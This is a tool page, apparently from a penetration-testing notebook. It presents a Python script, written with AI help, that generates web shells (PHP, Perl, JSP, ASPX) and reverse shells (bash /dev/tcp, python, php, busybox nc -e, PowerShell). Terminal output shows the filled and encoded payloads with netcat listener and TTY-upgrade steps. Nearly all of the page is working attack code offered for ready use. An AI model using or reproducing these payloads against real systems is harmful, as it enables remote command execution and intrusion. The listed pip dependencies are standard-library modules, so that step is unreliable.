# Shells

I wrote this script with the help of AI to build web and reverse shells immediately through the terminal.

## My Script:

```python
#! /usr/bin/env python3
import argparse
import base64
import urllib.parse
import socket
import fcntl
import struct


WEB_PAYLOADS = {
    "php": {"ext": "php", "code": """<?php isset($_REQUEST['cmd']) && system($_REQUEST['cmd']); ?>"""},
    "perl": {"ext": "pl", "code": """#!/usr/bin/perl -w use strict; print "Content-type: text/html\\n\\n"; my $cmd = $ENV{QUERY_STRING}; system($cmd); """},
    "jsp": {"ext": "jsp", "code": """<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if(cmd != null){
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while((line = r.readLine()) != null){ out.println(line); }
}
%>"""},
    "aspx": {"ext": "aspx", "code": """<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(){
    Process.Start("cmd.exe", "/c " + Request["cmd"]);
}
</script>"""}
}

REV_PAYLOADS = {
    "bash": {"ext": "sh", "code": "bash -i >& /dev/tcp/{ip}/{port} 0>&1"},
    "python3": {"ext": "py", "code": """python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("{ip}",{port}));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'"""},
    "python": {"ext": "py", "code": """python -c 'import socket,os,pty;s=socket.socket();s.connect(("{ip}",{port}));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'"""},
    "php": {"ext": "php", "code": """<?php $ip='{ip}';$port={port}; $sock=fsockopen($ip,$port); exec("/bin/sh -i <&3 >&3 2>&3"); ?>"""},
    "busybox": {"ext": "sh", "code": "busybox nc {ip} {port} -e /bin/bash"},
    "powershell": {"ext": "ps1", "code": """$c=New-Object System.Net.Sockets.TCPClient('{ip}',{port});$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};while(($i=$s.Read($b,0,$b.Length))-ne 0){{$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1 | Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$s.Write(([text.encoding]::ASCII).GetBytes($r2),0,$r2.Length)}}"""}
}


def get_tun0_ip():
    iface = b"tun0"
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        data = fcntl.ioctl(
            sock.fileno(),
            0x8915,
            struct.pack("256s", iface[:15])
        )
        return socket.inet_ntoa(data[20:24])
    except OSError:
        return None


def encode_payload(data, encoder):
    if not encoder:
        return data
    if encoder == "base64":
        return base64.b64encode(data.encode()).decode()
    if encoder == "url":
        return urllib.parse.quote(data)
    return data


def list_payloads(db):
    print("[+] Available payloads:")
    for k in db:
        print(f"  - {k}")


def write_output(data, path):
    if path:
        with open(path, "w") as f:
            f.write(data)
        print(f"[+] Written to {path}")
    else:
        print(f"[+] Payload:\n    {data}")


def print_listener_hint(payload_name, ip, port):
    if payload_name == "powershell":
        print(f"\n[*] Listener (Windows target):\n    rlwrap nc {ip} {port}")
    else:
        print(f"\n[*] Listener (Linux/Unix target):\n    nc {ip} {port}")
        print("\n[*] Full TTY Python:\n    python3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n    CTRL+Z\n    stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;")
        print("\n[*] Full TTY Script:\n    script /dev/null -qc /bin/bash\n    CTRL+Z\n    stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;")


def add_custom_help(parser):
    parser.add_argument(
        "-h", "--help",
        action="help"
    )


def build_parser():
    parser = argparse.ArgumentParser(
        prog="shells",
        description="Web/Reverse Shell Payload Generator",
        add_help=False
    )
    add_custom_help(parser)

    sub = parser.add_subparsers(dest="mode", required=True)

    web = sub.add_parser(
        "web",
        help="Web Shell Payloads",
        add_help=False
    )
    add_custom_help(web)
    web.add_argument("-p", "--payload")
    web.add_argument("-o", "--output")
    web.add_argument("--list-payloads", action="store_true")
    web.add_argument("--encode", choices=["base64", "url"])

    rev = sub.add_parser(
        "rev",
        help="Reverse Shell Payloads",
        add_help=False
    )
    add_custom_help(rev)
    rev.add_argument("-p", "--payload")
    rev.add_argument("-lh", "--local-host", help="Default To Tun0 IP")
    rev.add_argument("-lp", "--local-port", type=int, default=443, help="Default To 443")
    rev.add_argument("-o", "--output")
    rev.add_argument("--list-payloads", action="store_true")
    rev.add_argument("--encode", choices=["base64", "url"])

    return parser


def main():
    parser = build_parser()
    args = parser.parse_args()

    if args.mode == "web":
        if args.list_payloads:
            list_payloads(WEB_PAYLOADS)
            return

        if not args.payload or args.payload not in WEB_PAYLOADS:
            web_parser = build_parser()
            web_parser.parse_args(["web", "-h"])

        payload = WEB_PAYLOADS[args.payload]
        output = encode_payload(payload["code"], args.encode)
        write_output(output, args.output)

    elif args.mode == "rev":
        if args.list_payloads:
            list_payloads(REV_PAYLOADS)
            return

        if not args.payload or args.payload not in REV_PAYLOADS:
            rev_parser = build_parser()
            rev_parser.parse_args(["rev", "-h"])

        if args.local_host:
            local_host = args.local_host
        else:
            tun0_ip = get_tun0_ip()
            if tun0_ip:
                local_host = tun0_ip
            else:
                print("[-] Tun0 Not Found. Please specify --local-host/-lh")
                return

        payload = REV_PAYLOADS[args.payload]
        filled = payload["code"].format(
            ip=local_host,
            port=args.local_port
        )

        output = encode_payload(filled, args.encode)
        write_output(output, args.output)
        print_listener_hint(args.payload, local_host, args.local_port)


if __name__ == "__main__":
    main()

```

{% file src="<https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FuvD6uFIXblnqALZdRiK2%2FShells.py?alt=media&token=5b608388-95c0-4986-aeb3-933c740cde2e>" %}

## Dependencies:

```bash
pip3 install argparse base64 urllib.parse socket fcntl struct
```

## Usage:

### Help Menu:

```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 Shells.py -h
usage: shells [-h] {web,rev} ...

Web/Reverse Shell Payload Generator

positional arguments:
  {web,rev}
    web       Web Shell Payloads
    rev       Reverse Shell Payloads

options:
  -h, --help
  
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 Shells.py web -h                                     
usage: shells web [-h] [-p PAYLOAD] [-o OUTPUT] [--list-payloads] [--encode {base64,url}]

options:
  -h, --help
  -p, --payload PAYLOAD
  -o, --output OUTPUT
  --list-payloads
  --encode {base64,url}
                                                                                                                                                                            
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 Shells.py rev -h 
usage: shells rev [-h] [-p PAYLOAD] [-lh LOCAL_HOST] [-lp LOCAL_PORT] [-o OUTPUT] [--list-payloads] [--encode {base64,url}]

options:
  -h, --help
  -p, --payload PAYLOAD
  -lh, --local-host LOCAL_HOST
                        Default To Tun0 IP
  -lp, --local-port LOCAL_PORT
                        Default To 443
  -o, --output OUTPUT
  --list-payloads
  --encode {base64,url}
```

### Current Available Shells:

```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 Shells.py web --list-payloads       
[+] Available payloads:
  - php
  - perl
  - jsp
  - aspx

┌──(kali㉿kali)-[~/Desktop]
└─$ python3 Shells.py rev --list-payloads
[+] Available payloads:
  - bash
  - python3
  - python
  - php
  - busybox
  - powershell
```

### Generate PHP Web Shell:

```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 Shells.py web -p php                 
[+] Payload:
    <?php isset($_REQUEST['cmd']) && system($_REQUEST['cmd']); ?>
```

### Generate BASH Reverse Shell:

```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 Shells.py rev -p bash -lh 192.168.1.1 -lp 443                
[+] Payload:
    bash -i >& /dev/tcp/192.168.1.1/443 0>&1

[*] Listener (Linux/Unix target):
    nc 192.168.1.1 443

[*] Full TTY Python:
    python3 -c 'import pty; pty.spawn("/bin/bash")'
    CTRL+Z
    stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

[*] Full TTY Script:
    script /dev/null -qc /bin/bash
    CTRL+Z
    stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
```

### Generate PowerShell Reverse Shell:

```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 Shells.py rev -p powershell -lh 192.168.1.1                 
[+] Payload:
    $c=New-Object System.Net.Sockets.TCPClient('192.168.1.1',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1 | Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$s.Write(([text.encoding]::ASCII).GetBytes($r2),0,$r2.Length)}

[*] Listener (Windows target):
    rlwrap nc 192.168.1.1 443
```

> At first, the script attempts to determine whether the `tun0` interface is up and retrieve its IP address; otherwise, it requires the user to specify a local host IP address.\
> The port is defaulted to 443.

### Encodings:

The script has two encoding types {base64,url} which you can use to encode your payload:

```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 Shells.py web -p php --encode url  
[+] Payload:
    %3C%3Fphp%20isset%28%24_REQUEST%5B%27cmd%27%5D%29%20%26%26%20system%28%24_REQUEST%5B%27cmd%27%5D%29%3B%20%3F%3E

┌──(kali㉿kali)-[~/Desktop]
└─$ python3 Shells.py rev -p bash -lh 192.168.1.1 -lp 443 --encode base64
[+] Payload:
    YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDMgMD4mMQ==

[*] Listener (Linux/Unix target):
    nc 192.168.1.1 443

[*] Full TTY Python:
    python3 -c 'import pty; pty.spawn("/bin/bash")'
    CTRL+Z
    stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

[*] Full TTY Script:
    script /dev/null -qc /bin/bash
    CTRL+Z
    stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
```

### Output the Payload to a File:

```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 Shells.py rev -p powershell -lh 192.168.1.1 -o rev_shell.ps1
[+] Written to rev_shell.ps1

[*] Listener (Windows target):
    rlwrap nc 192.168.1.1 443
                                                                                                                                                                            
┌──(kali㉿kali)-[~/Desktop]
└─$ cat rev_shell.ps1 
$c=New-Object System.Net.Sockets.TCPClient('192.168.1.1',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1 | Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$s.Write(([text.encoding]::ASCII).GetBytes($r2),0,$r2.Length)}
```

For the ease of use, we can link the script to `/usr/bin/` folder to execute it from anywhere:

```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ chmod +x Shells.py

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo ln -s $(pwd)/Shells.py /usr/bin/Shells

┌──(kali㉿kali)-[~/Desktop]
└─$ Shells -h
usage: shells [-h] {web,rev} ...

Web/Reverse Shell Payload Generator

positional arguments:
  {web,rev}
    web       Web Shell Payloads
    rev       Reverse Shell Payloads

options:
  -h, --help
```
